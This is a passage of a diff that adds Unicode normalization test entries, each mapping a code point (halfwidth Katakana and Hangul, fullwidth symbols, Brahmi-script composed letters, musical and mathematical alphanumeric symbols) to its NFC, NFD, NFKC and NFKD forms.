+{ source: [0xFF9B], NFC: [0xFF9B], NFD: [0xFF9B], NFKC: [0x30ED], NFKD: [0x30ED] },
+{ source: [0xFF9C], NFC: [0xFF9C], NFD: [0xFF9C], NFKC: [0x30EF], NFKD: [0x30EF] },
+{ source: [0xFF9D], NFC: [0xFF9D], NFD: [0xFF9D], NFKC: [0x30F3], NFKD: [0x30F3] },
+{ source: [0xFF9E], NFC: [0xFF9E], NFD: [0xFF9E], NFKC: [0x3099], NFKD: [0x3099] },
+{ source: [0xFF9F], NFC: [0xFF9F], NFD: [0xFF9F], NFKC: [0x309A], NFKD: [0x309A] },
+{ source: [0xFFA0], NFC: [0xFFA0], NFD: [0xFFA0], NFKC: [0x1160], NFKD: [0x1160] },
+{ source: [0xFFA1], NFC: [0xFFA1], NFD: [0xFFA1], NFKC: [0x1100], NFKD: [0x1100] },
+{ source: [0xFFA2], NFC: [0xFFA2], NFD: [0xFFA2], NFKC: [0x1101], NFKD: [0x1101] },
+{ source: [0xFFA3], NFC: [0xFFA3], NFD: [0xFFA3], NFKC: [0x11AA], NFKD: [0x11AA] },
+{ source: [0xFFA4], NFC: [0xFFA4], NFD: [0xFFA4], NFKC: [0x1102], NFKD: [0x1102] },
+{ source: [0xFFA5], NFC: [0xFFA5], NFD: [0xFFA5], NFKC: [0x11AC], NFKD: [0x11AC] },
+{ source: [0xFFA6], NFC: [0xFFA6], NFD: [0xFFA6], NFKC: [0x11AD], NFKD: [0x11AD] },
+{ source: [0xFFA7], NFC: [0xFFA7], NFD: [0xFFA7], NFKC: [0x1103], NFKD: [0x1103] },
+{ source: [0xFFA8], NFC: [0xFFA8], NFD: [0xFFA8], NFKC: [0x1104], NFKD: [0x1104] },
+{ source: [0xFFA9], NFC: [0xFFA9], NFD: [0xFFA9], NFKC: [0x1105], NFKD: [0x1105] },
+{ source: [0xFFAA], NFC: [0xFFAA], NFD: [0xFFAA], NFKC: [0x11B0], NFKD: [0x11B0] },
+{ source: [0xFFAB], NFC: [0xFFAB], NFD: [0xFFAB], NFKC: [0x11B1], NFKD: [0x11B1] },
+{ source: [0xFFAC], NFC: [0xFFAC], NFD: [0xFFAC], NFKC: [0x11B2], NFKD: [0x11B2] },
+{ source: [0xFFAD], NFC: [0xFFAD], NFD: [0xFFAD], NFKC: [0x11B3], NFKD: [0x11B3] },
+{ source: [0xFFAE], NFC: [0xFFAE], NFD: [0xFFAE], NFKC: [0x11B4], NFKD: [0x11B4] },
+{ source: [0xFFAF], NFC: [0xFFAF], NFD: [0xFFAF], NFKC: [0x11B5], NFKD: [0x11B5] },
+{ source: [0xFFB0], NFC: [0xFFB0], NFD: [0xFFB0], NFKC: [0x111A], NFKD: [0x111A] },
+{ source: [0xFFB1], NFC: [0xFFB1], NFD: [0xFFB1], NFKC: [0x1106], NFKD: [0x1106] },
+{ source: [0xFFB2], NFC: [0xFFB2], NFD: [0xFFB2], NFKC: [0x1107], NFKD: [0x1107] },
+{ source: [0xFFB3], NFC: [0xFFB3], NFD: [0xFFB3], NFKC: [0x1108], NFKD: [0x1108] },
+{ source: [0xFFB4], NFC: [0xFFB4], NFD: [0xFFB4], NFKC: [0x1121], NFKD: [0x1121] },
+{ source: [0xFFB5], NFC: [0xFFB5], NFD: [0xFFB5], NFKC: [0x1109], NFKD: [0x1109] },
+{ source: [0xFFB6], NFC: [0xFFB6], NFD: [0xFFB6], NFKC: [0x110A], NFKD: [0x110A] },
+{ source: [0xFFB7], NFC: [0xFFB7], NFD: [0xFFB7], NFKC: [0x110B], NFKD: [0x110B] },
+{ source: [0xFFB8], NFC: [0xFFB8], NFD: [0xFFB8], NFKC: [0x110C], NFKD: [0x110C] },
+{ source: [0xFFB9], NFC: [0xFFB9], NFD: [0xFFB9], NFKC: [0x110D], NFKD: [0x110D] },
+{ source: [0xFFBA], NFC: [0xFFBA], NFD: [0xFFBA], NFKC: [0x110E], NFKD: [0x110E] },
+{ source: [0xFFBB], NFC: [0xFFBB], NFD: [0xFFBB], NFKC: [0x110F], NFKD: [0x110F] },
+{ source: [0xFFBC], NFC: [0xFFBC], NFD: [0xFFBC], NFKC: [0x1110], NFKD: [0x1110] },
+{ source: [0xFFBD], NFC: [0xFFBD], NFD: [0xFFBD], NFKC: [0x1111], NFKD: [0x1111] },
+{ source: [0xFFBE], NFC: [0xFFBE], NFD: [0xFFBE], NFKC: [0x1112], NFKD: [0x1112] },
+{ source: [0xFFC2], NFC: [0xFFC2], NFD: [0xFFC2], NFKC: [0x1161], NFKD: [0x1161] },
+{ source: [0xFFC3], NFC: [0xFFC3], NFD: [0xFFC3], NFKC: [0x1162], NFKD: [0x1162] },
+{ source: [0xFFC4], NFC: [0xFFC4], NFD: [0xFFC4], NFKC: [0x1163], NFKD: [0x1163] },
+{ source: [0xFFC5], NFC: [0xFFC5], NFD: [0xFFC5], NFKC: [0x1164], NFKD: [0x1164] },
+{ source: [0xFFC6], NFC: [0xFFC6], NFD: [0xFFC6], NFKC: [0x1165], NFKD: [0x1165] },
+{ source: [0xFFC7], NFC: [0xFFC7], NFD: [0xFFC7], NFKC: [0x1166], NFKD: [0x1166] },
+{ source: [0xFFCA], NFC: [0xFFCA], NFD: [0xFFCA], NFKC: [0x1167], NFKD: [0x1167] },
+{ source: [0xFFCB], NFC: [0xFFCB], NFD: [0xFFCB], NFKC: [0x1168], NFKD: [0x1168] },
+{ source: [0xFFCC], NFC: [0xFFCC], NFD: [0xFFCC], NFKC: [0x1169], NFKD: [0x1169] },
+{ source: [0xFFCD], NFC: [0xFFCD], NFD: [0xFFCD], NFKC: [0x116A], NFKD: [0x116A] },
+{ source: [0xFFCE], NFC: [0xFFCE], NFD: [0xFFCE], NFKC: [0x116B], NFKD: [0x116B] },
+{ source: [0xFFCF], NFC: [0xFFCF], NFD: [0xFFCF], NFKC: [0x116C], NFKD: [0x116C] },
+{ source: [0xFFD2], NFC: [0xFFD2], NFD: [0xFFD2], NFKC: [0x116D], NFKD: [0x116D] },
+{ source: [0xFFD3], NFC: [0xFFD3], NFD: [0xFFD3], NFKC: [0x116E], NFKD: [0x116E] },
+{ source: [0xFFD4], NFC: [0xFFD4], NFD: [0xFFD4], NFKC: [0x116F], NFKD: [0x116F] },
+{ source: [0xFFD5], NFC: [0xFFD5], NFD: [0xFFD5], NFKC: [0x1170], NFKD: [0x1170] },
+{ source: [0xFFD6], NFC: [0xFFD6], NFD: [0xFFD6], NFKC: [0x1171], NFKD: [0x1171] },
+{ source: [0xFFD7], NFC: [0xFFD7], NFD: [0xFFD7], NFKC: [0x1172], NFKD: [0x1172] },
+{ source: [0xFFDA], NFC: [0xFFDA], NFD: [0xFFDA], NFKC: [0x1173], NFKD: [0x1173] },
+{ source: [0xFFDB], NFC: [0xFFDB], NFD: [0xFFDB], NFKC: [0x1174], NFKD: [0x1174] },
+{ source: [0xFFDC], NFC: [0xFFDC], NFD: [0xFFDC], NFKC: [0x1175], NFKD: [0x1175] },
+{ source: [0xFFE0], NFC: [0xFFE0], NFD: [0xFFE0], NFKC: [0x00A2], NFKD: [0x00A2] },
+{ source: [0xFFE1], NFC: [0xFFE1], NFD: [0xFFE1], NFKC: [0x00A3], NFKD: [0x00A3] },
+{ source: [0xFFE2], NFC: [0xFFE2], NFD: [0xFFE2], NFKC: [0x00AC], NFKD: [0x00AC] },
+{ source: [0xFFE3], NFC: [0xFFE3], NFD: [0xFFE3], NFKC: [0x0020, 0x0304], NFKD: [0x0020, 0x0304] },
+{ source: [0xFFE4], NFC: [0xFFE4], NFD: [0xFFE4], NFKC: [0x00A6], NFKD: [0x00A6] },
+{ source: [0xFFE5], NFC: [0xFFE5], NFD: [0xFFE5], NFKC: [0x00A5], NFKD: [0x00A5] },
+{ source: [0xFFE6], NFC: [0xFFE6], NFD: [0xFFE6], NFKC: [0x20A9], NFKD: [0x20A9] },
+{ source: [0xFFE8], NFC: [0xFFE8], NFD: [0xFFE8], NFKC: [0x2502], NFKD: [0x2502] },
+{ source: [0xFFE9], NFC: [0xFFE9], NFD: [0xFFE9], NFKC: [0x2190], NFKD: [0x2190] },
+{ source: [0xFFEA], NFC: [0xFFEA], NFD: [0xFFEA], NFKC: [0x2191], NFKD: [0x2191] },
+{ source: [0xFFEB], NFC: [0xFFEB], NFD: [0xFFEB], NFKC: [0x2192], NFKD: [0x2192] },
+{ source: [0xFFEC], NFC: [0xFFEC], NFD: [0xFFEC], NFKC: [0x2193], NFKD: [0x2193] },
+{ source: [0xFFED], NFC: [0xFFED], NFD: [0xFFED], NFKC: [0x25A0], NFKD: [0x25A0] },
+{ source: [0xFFEE], NFC: [0xFFEE], NFD: [0xFFEE], NFKC: [0x25CB], NFKD: [0x25CB] },
+{ source: [0x1109A], NFC: [0x1109A], NFD: [0x11099, 0x110BA], NFKC: [0x1109A], NFKD: [0x11099, 0x110BA] },
+{ source: [0x1109C], NFC: [0x1109C], NFD: [0x1109B, 0x110BA], NFKC: [0x1109C], NFKD: [0x1109B, 0x110BA] },
+{ source: [0x110AB], NFC: [0x110AB], NFD: [0x110A5, 0x110BA], NFKC: [0x110AB], NFKD: [0x110A5, 0x110BA] },
+{ source: [0x1112E], NFC: [0x1112E], NFD: [0x11131, 0x11127], NFKC: [0x1112E], NFKD: [0x11131, 0x11127] },
+{ source: [0x1112F], NFC: [0x1112F], NFD: [0x11132, 0x11127], NFKC: [0x1112F], NFKD: [0x11132, 0x11127] },
+{ source: [0x1134B], NFC: [0x1134B], NFD: [0x11347, 0x1133E], NFKC: [0x1134B], NFKD: [0x11347, 0x1133E] },
+{ source: [0x1134C], NFC: [0x1134C], NFD: [0x11347, 0x11357], NFKC: [0x1134C], NFKD: [0x11347, 0x11357] },
+{ source: [0x114BB], NFC: [0x114BB], NFD: [0x114B9, 0x114BA], NFKC: [0x114BB], NFKD: [0x114B9, 0x114BA] },
+{ source: [0x114BC], NFC: [0x114BC], NFD: [0x114B9, 0x114B0], NFKC: [0x114BC], NFKD: [0x114B9, 0x114B0] },
+{ source: [0x114BE], NFC: [0x114BE], NFD: [0x114B9, 0x114BD], NFKC: [0x114BE], NFKD: [0x114B9, 0x114BD] },
+{ source: [0x115BA], NFC: [0x115BA], NFD: [0x115B8, 0x115AF], NFKC: [0x115BA], NFKD: [0x115B8, 0x115AF] },
+{ source: [0x115BB], NFC: [0x115BB], NFD: [0x115B9, 0x115AF], NFKC: [0x115BB], NFKD: [0x115B9, 0x115AF] },
+{ source: [0x1D15E], NFC: [0x1D157, 0x1D165], NFD: [0x1D157, 0x1D165], NFKC: [0x1D157, 0x1D165], NFKD: [0x1D157, 0x1D165] },
+{ source: [0x1D15F], NFC: [0x1D158, 0x1D165], NFD: [0x1D158, 0x1D165], NFKC: [0x1D158, 0x1D165], NFKD: [0x1D158, 0x1D165] },
+{ source: [0x1D160], NFC: [0x1D158, 0x1D165, 0x1D16E], NFD: [0x1D158, 0x1D165, 0x1D16E], NFKC: [0x1D158, 0x1D165, 0x1D16E], NFKD: [0x1D158, 0x1D165, 0x1D16E] },
+{ source: [0x1D161], NFC: [0x1D158, 0x1D165, 0x1D16F], NFD: [0x1D158, 0x1D165, 0x1D16F], NFKC: [0x1D158, 0x1D165, 0x1D16F], NFKD: [0x1D158, 0x1D165, 0x1D16F] },
+{ source: [0x1D162], NFC: [0x1D158, 0x1D165, 0x1D170], NFD: [0x1D158, 0x1D165, 0x1D170], NFKC: [0x1D158, 0x1D165, 0x1D170], NFKD: [0x1D158, 0x1D165, 0x1D170] },
+{ source: [0x1D163], NFC: [0x1D158, 0x1D165, 0x1D171], NFD: [0x1D158, 0x1D165, 0x1D171], NFKC: [0x1D158, 0x1D165, 0x1D171], NFKD: [0x1D158, 0x1D165, 0x1D171] },
+{ source: [0x1D164], NFC: [0x1D158, 0x1D165, 0x1D172], NFD: [0x1D158, 0x1D165, 0x1D172], NFKC: [0x1D158, 0x1D165, 0x1D172], NFKD: [0x1D158, 0x1D165, 0x1D172] },
+{ source: [0x1D1BB], NFC: [0x1D1B9, 0x1D165], NFD: [0x1D1B9, 0x1D165], NFKC: [0x1D1B9, 0x1D165], NFKD: [0x1D1B9, 0x1D165] },
+{ source: [0x1D1BC], NFC: [0x1D1BA, 0x1D165], NFD: [0x1D1BA, 0x1D165], NFKC: [0x1D1BA, 0x1D165], NFKD: [0x1D1BA, 0x1D165] },
+{ source: [0x1D1BD], NFC: [0x1D1B9, 0x1D165, 0x1D16E], NFD: [0x1D1B9, 0x1D165, 0x1D16E], NFKC: [0x1D1B9, 0x1D165, 0x1D16E], NFKD: [0x1D1B9, 0x1D165, 0x1D16E] },
+{ source: [0x1D1BE], NFC: [0x1D1BA, 0x1D165, 0x1D16E], NFD: [0x1D1BA, 0x1D165, 0x1D16E], NFKC: [0x1D1BA, 0x1D165, 0x1D16E], NFKD: [0x1D1BA, 0x1D165, 0x1D16E] },
+{ source: [0x1D1BF], NFC: [0x1D1B9, 0x1D165, 0x1D16F], NFD: [0x1D1B9, 0x1D165, 0x1D16F], NFKC: [0x1D1B9, 0x1D165, 0x1D16F], NFKD: [0x1D1B9, 0x1D165, 0x1D16F] },
+{ source: [0x1D1C0], NFC: [0x1D1BA, 0x1D165, 0x1D16F], NFD: [0x1D1BA, 0x1D165, 0x1D16F], NFKC: [0x1D1BA, 0x1D165, 0x1D16F], NFKD: [0x1D1BA, 0x1D165, 0x1D16F] },
+{ source: [0x1D400], NFC: [0x1D400], NFD: [0x1D400], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D401], NFC: [0x1D401], NFD: [0x1D401], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D402], NFC: [0x1D402], NFD: [0x1D402], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D403], NFC: [0x1D403], NFD: [0x1D403], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D404], NFC: [0x1D404], NFD: [0x1D404], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D405], NFC: [0x1D405], NFD: [0x1D405], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D406], NFC: [0x1D406], NFD: [0x1D406], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D407], NFC: [0x1D407], NFD: [0x1D407], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D408], NFC: [0x1D408], NFD: [0x1D408], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D409], NFC: [0x1D409], NFD: [0x1D409], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D40A], NFC: [0x1D40A], NFD: [0x1D40A], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D40B], NFC: [0x1D40B], NFD: [0x1D40B], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D40C], NFC: [0x1D40C], NFD: [0x1D40C], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D40D], NFC: [0x1D40D], NFD: [0x1D40D], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D40E], NFC: [0x1D40E], NFD: [0x1D40E], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D40F], NFC: [0x1D40F], NFD: [0x1D40F], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D410], NFC: [0x1D410], NFD: [0x1D410], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D411], NFC: [0x1D411], NFD: [0x1D411], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D412], NFC: [0x1D412], NFD: [0x1D412], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D413], NFC: [0x1D413], NFD: [0x1D413], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D414], NFC: [0x1D414], NFD: [0x1D414], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D415], NFC: [0x1D415], NFD: [0x1D415], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D416], NFC: [0x1D416], NFD: [0x1D416], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D417], NFC: [0x1D417], NFD: [0x1D417], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D418], NFC: [0x1D418], NFD: [0x1D418], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D419], NFC: [0x1D419], NFD: [0x1D419], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D41A], NFC: [0x1D41A], NFD: [0x1D41A], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D41B], NFC: [0x1D41B], NFD: [0x1D41B], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D41C], NFC: [0x1D41C], NFD: [0x1D41C], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D41D], NFC: [0x1D41D], NFD: [0x1D41D], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D41E], NFC: [0x1D41E], NFD: [0x1D41E], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D41F], NFC: [0x1D41F], NFD: [0x1D41F], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D420], NFC: [0x1D420], NFD: [0x1D420], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D421], NFC: [0x1D421], NFD: [0x1D421], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D422], NFC: [0x1D422], NFD: [0x1D422], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D423], NFC: [0x1D423], NFD: [0x1D423], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D424], NFC: [0x1D424], NFD: [0x1D424], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D425], NFC: [0x1D425], NFD: [0x1D425], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D426], NFC: [0x1D426], NFD: [0x1D426], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D427], NFC: [0x1D427], NFD: [0x1D427], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D428], NFC: [0x1D428], NFD: [0x1D428], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D429], NFC: [0x1D429], NFD: [0x1D429], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D42A], NFC: [0x1D42A], NFD: [0x1D42A], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D42B], NFC: [0x1D42B], NFD: [0x1D42B], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D42C], NFC: [0x1D42C], NFD: [0x1D42C], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D42D], NFC: [0x1D42D], NFD: [0x1D42D], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D42E], NFC: [0x1D42E], NFD: [0x1D42E], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D42F], NFC: [0x1D42F], NFD: [0x1D42F], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D430], NFC: [0x1D430], NFD: [0x1D430], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D431], NFC: [0x1D431], NFD: [0x1D431], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D432], NFC: [0x1D432], NFD: [0x1D432], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D433], NFC: [0x1D433], NFD: [0x1D433], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D434], NFC: [0x1D434], NFD: [0x1D434], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D435], NFC: [0x1D435], NFD: [0x1D435], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D436], NFC: [0x1D436], NFD: [0x1D436], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D437], NFC: [0x1D437], NFD: [0x1D437], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D438], NFC: [0x1D438], NFD: [0x1D438], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D439], NFC: [0x1D439], NFD: [0x1D439], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D43A], NFC: [0x1D43A], NFD: [0x1D43A], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D43B], NFC: [0x1D43B], NFD: [0x1D43B], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D43C], NFC: [0x1D43C], NFD: [0x1D43C], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D43D], NFC: [0x1D43D], NFD: [0x1D43D], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D43E], NFC: [0x1D43E], NFD: [0x1D43E], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D43F], NFC: [0x1D43F], NFD: [0x1D43F], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D440], NFC: [0x1D440], NFD: [0x1D440], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D441], NFC: [0x1D441], NFD: [0x1D441], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D442], NFC: [0x1D442], NFD: [0x1D442], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D443], NFC: [0x1D443], NFD: [0x1D443], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D444], NFC: [0x1D444], NFD: [0x1D444], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D445], NFC: [0x1D445], NFD: [0x1D445], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D446], NFC: [0x1D446], NFD: [0x1D446], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D447], NFC: [0x1D447], NFD: [0x1D447], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D448], NFC: [0x1D448], NFD: [0x1D448], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D449], NFC: [0x1D449], NFD: [0x1D449], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D44A], NFC: [0x1D44A], NFD: [0x1D44A], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D44B], NFC: [0x1D44B], NFD: [0x1D44B], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D44C], NFC: [0x1D44C], NFD: [0x1D44C], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D44D], NFC: [0x1D44D], NFD: [0x1D44D], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D44E], NFC: [0x1D44E], NFD: [0x1D44E], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D44F], NFC: [0x1D44F], NFD: [0x1D44F], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D450], NFC: [0x1D450], NFD: [0x1D450], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D451], NFC: [0x1D451], NFD: [0x1D451], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D452], NFC: [0x1D452], NFD: [0x1D452], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D453], NFC: [0x1D453], NFD: [0x1D453], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D454], NFC: [0x1D454], NFD: [0x1D454], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D456], NFC: [0x1D456], NFD: [0x1D456], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D457], NFC: [0x1D457], NFD: [0x1D457], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D458], NFC: [0x1D458], NFD: [0x1D458], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D459], NFC: [0x1D459], NFD: [0x1D459], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D45A], NFC: [0x1D45A], NFD: [0x1D45A], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D45B], NFC: [0x1D45B], NFD: [0x1D45B], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D45C], NFC: [0x1D45C], NFD: [0x1D45C], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D45D], NFC: [0x1D45D], NFD: [0x1D45D], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D45E], NFC: [0x1D45E], NFD: [0x1D45E], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D45F], NFC: [0x1D45F], NFD: [0x1D45F], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D460], NFC: [0x1D460], NFD: [0x1D460], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D461], NFC: [0x1D461], NFD: [0x1D461], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D462], NFC: [0x1D462], NFD: [0x1D462], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D463], NFC: [0x1D463], NFD: [0x1D463], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D464], NFC: [0x1D464], NFD: [0x1D464], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D465], NFC: [0x1D465], NFD: [0x1D465], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D466], NFC: [0x1D466], NFD: [0x1D466], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D467], NFC: [0x1D467], NFD: [0x1D467], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D468], NFC: [0x1D468], NFD: [0x1D468], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D469], NFC: [0x1D469], NFD: [0x1D469], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D46A], NFC: [0x1D46A], NFD: [0x1D46A], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D46B], NFC: [0x1D46B], NFD: [0x1D46B], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D46C], NFC: [0x1D46C], NFD: [0x1D46C], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D46D], NFC: [0x1D46D], NFD: [0x1D46D], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D46E], NFC: [0x1D46E], NFD: [0x1D46E], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D46F], NFC: [0x1D46F], NFD: [0x1D46F], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D470], NFC: [0x1D470], NFD: [0x1D470], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D471], NFC: [0x1D471], NFD: [0x1D471], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D472], NFC: [0x1D472], NFD: [0x1D472], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D473], NFC: [0x1D473], NFD: [0x1D473], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D474], NFC: [0x1D474], NFD: [0x1D474], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D475], NFC: [0x1D475], NFD: [0x1D475], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D476], NFC: [0x1D476], NFD: [0x1D476], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D477], NFC: [0x1D477], NFD: [0x1D477], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D478], NFC: [0x1D478], NFD: [0x1D478], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D479], NFC: [0x1D479], NFD: [0x1D479], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D47A], NFC: [0x1D47A], NFD: [0x1D47A], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D47B], NFC: [0x1D47B], NFD: [0x1D47B], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D47C], NFC: [0x1D47C], NFD: [0x1D47C], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D47D], NFC: [0x1D47D], NFD: [0x1D47D], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D47E], NFC: [0x1D47E], NFD: [0x1D47E], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D47F], NFC: [0x1D47F], NFD: [0x1D47F], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D480], NFC: [0x1D480], NFD: [0x1D480], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D481], NFC: [0x1D481], NFD: [0x1D481], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D482], NFC: [0x1D482], NFD: [0x1D482], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D483], NFC: [0x1D483], NFD: [0x1D483], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D484], NFC: [0x1D484], NFD: [0x1D484], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D485], NFC: [0x1D485], NFD: [0x1D485], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D486], NFC: [0x1D486], NFD: [0x1D486], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D487], NFC: [0x1D487], NFD: [0x1D487], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D488], NFC: [0x1D488], NFD: [0x1D488], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D489], NFC: [0x1D489], NFD: [0x1D489], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D48A], NFC: [0x1D48A], NFD: [0x1D48A], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D48B], NFC: [0x1D48B], NFD: [0x1D48B], NFKC: [0x006A], NFKD: [0x006A] },
